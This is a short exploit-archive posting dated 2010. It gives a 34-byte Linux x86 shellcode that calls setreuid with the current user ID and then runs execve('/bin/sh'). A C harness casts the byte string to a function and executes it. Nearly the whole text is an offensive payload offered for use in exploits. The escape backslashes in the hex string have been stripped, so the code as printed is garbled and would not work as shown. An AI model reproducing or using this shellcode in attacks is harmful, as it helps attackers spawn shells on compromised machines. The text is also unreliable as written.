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linux/x86 setreud(getuid(), getuid()) & execve("/bi

Posted on 22 April 2010

============================================================================
linux/x86 setreud(getuid(), getuid()) & execve("/bin/sh") shellcode 34 bytes
============================================================================

#include <stdio.h>
#include <string.h>
 
/*
    by Magnefikko
    14.04.2010
    magnefikko@gmail.com
    promhyl.oz.pl
    Subgroup: #PRekambr
    Name: 34 bytes setreud(getuid(), getuid()) & execve("/bin/sh") shellcode
    Platform: Linux x86
     
    setreuid(getuid(), getuid());
    execve("/bin/sh"); 
 
    gcc -Wl,-z,execstack filename.c
 
    shellcode:
 
x6ax18x58xcdx80x50x50x5bx59x6ax46x58xcdx80x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x99x31xc9xb0x0bxcdx80
 
*/
 
 
int main(){
    char shell[] =
"x6ax18x58xcdx80x50x50x5bx59x6ax46x58xcdx80x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x99x31xc9xb0x0bxcdx80";
    printf("by Magnefikko
magnefikko@gmail.com
promhyl.oz.pl

strlen(shell)
= %d
", strlen(shell));
    (*(void (*)()) shell)();
}


# Inj3ct0r.com [2010-04-22]

 

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